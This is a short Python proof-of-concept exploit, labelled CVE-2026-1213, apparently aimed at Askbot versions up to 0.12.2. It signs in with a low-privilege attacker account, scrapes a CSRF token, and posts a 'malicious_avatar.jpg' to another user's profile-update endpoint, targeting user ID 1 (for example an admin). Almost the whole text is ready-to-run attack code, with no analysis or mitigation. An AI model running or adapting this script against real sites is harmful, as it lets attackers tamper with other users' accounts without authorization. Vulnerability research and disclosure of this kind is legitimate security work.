CVE-2026-1213

import requests import re # CVE-2026-1213 PoC - Askbot Unauthorized Profile Picture Modification # Target: Askbot <= 0.12.2 # Author: Security Researcher BASE_URL = "http://target-askbot.com" TARGET_USER_ID = 1 # Target user ID to modify (e.g., admin) def get_csrf_token(session, url): """Extract CSRF token from the page""" response = session.get(f"{url}/user/update/") match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', response.text) return match.group(1) if match else None def exploit_avatar_modification(): """Exploit the unauthorized profile picture modification vulnerability""" session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{BASE_URL}/account/signin/" csrf_token = get_csrf_token(session, BASE_URL) login_data = { "csrfmiddlewaretoken": csrf_token, "next": "/", "username": "attacker_account", "password": "attacker_password" } session.post(login_url, data=login_data) # Step 2: Exploit - Modify target user's avatar update_url = f"{BASE_URL}/user/{TARGET_USER_ID}/update/" csrf_token = get_csrf_token(session, BASE_URL) exploit_data = { "csrfmiddlewaretoken": csrf_token, "avatar": open("malicious_avatar.jpg", "rb"), "next": "/" } # Send malicious request with target user ID response = session.post(update_url, files=exploit_data) if response.status_code == 200: print("[+] Successfully modified target user's avatar!") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": print("CVE-2026-1213 - Askbot Unauthorized Profile Picture Modification") exploit_avatar_modification()

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